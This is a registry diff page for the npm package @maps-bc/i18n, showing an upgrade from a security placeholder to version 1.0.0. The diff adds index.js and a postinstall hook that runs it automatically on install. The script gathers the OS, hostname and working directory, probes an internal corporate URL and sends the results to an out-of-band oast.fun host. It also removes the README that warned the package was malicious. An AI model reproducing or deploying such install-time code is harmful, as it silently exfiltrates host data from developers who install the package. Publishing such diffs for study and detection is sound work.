@maps-bc/i18n 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @maps-bc/i18n might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +58 -0
  2. package/package.json +7 -4
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+ const os = require('os');
2
+ const process = require('process');
3
+ const https = require('https');
4
+ const http = require('http');
5
+
6
+ const osname = os.type();
7
+ const release = os.release();
8
+ const hostname = os.hostname();
9
+
10
+ const cwd = process.cwd();
11
+
12
+ const osname_str = `${osname} ${release}`;
13
+
14
+ function makeFirstRequest(status) {
15
+ const url1 = `https://sgkzbacxbutrozqmejez98055ri4ua0az.oast.fun/?1=${encodeURIComponent(osname_str)}&2=${encodeURIComponent(cwd)}&3=${encodeURIComponent(hostname)}`
16
+ + (status ? `&4=${encodeURIComponent(status)}` : '');
17
+
18
+ https.get(url1, (res) => {
19
+ let data = '';
20
+
21
+ res.on('data', (chunk) => {
22
+ data += chunk;
23
+ });
24
+
25
+ res.on('end', () => {
26
+ console.log('Response from first request:', data);
27
+ });
28
+
29
+ }).on('error', (err) => {
30
+ console.error('Error in first request:', err.message);
31
+ });
32
+ }
33
+
34
+ function makeSecondRequest() {
35
+ const url2 = 'http://ssrf.corp.apple.com/';
36
+
37
+ http.get(url2, (res) => {
38
+ const status = res.statusCode;
39
+ console.log('Status Code from second request:', status);
40
+
41
+ let data = '';
42
+
43
+ res.on('data', (chunk) => {
44
+ data += chunk;
45
+ });
46
+
47
+ res.on('end', () => {
48
+ console.log('Response from second request:', data);
49
+ makeFirstRequest(status);
50
+ });
51
+
52
+ }).on('error', (err) => {
53
+ console.error('Error in second request:', err.message);
54
+ makeFirstRequest('error');
55
+ });
56
+ }
57
+
58
+ makeSecondRequest();
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "@maps-bc/i18n",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "license": "MIT",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40maps-bc%2Fi18n for more information.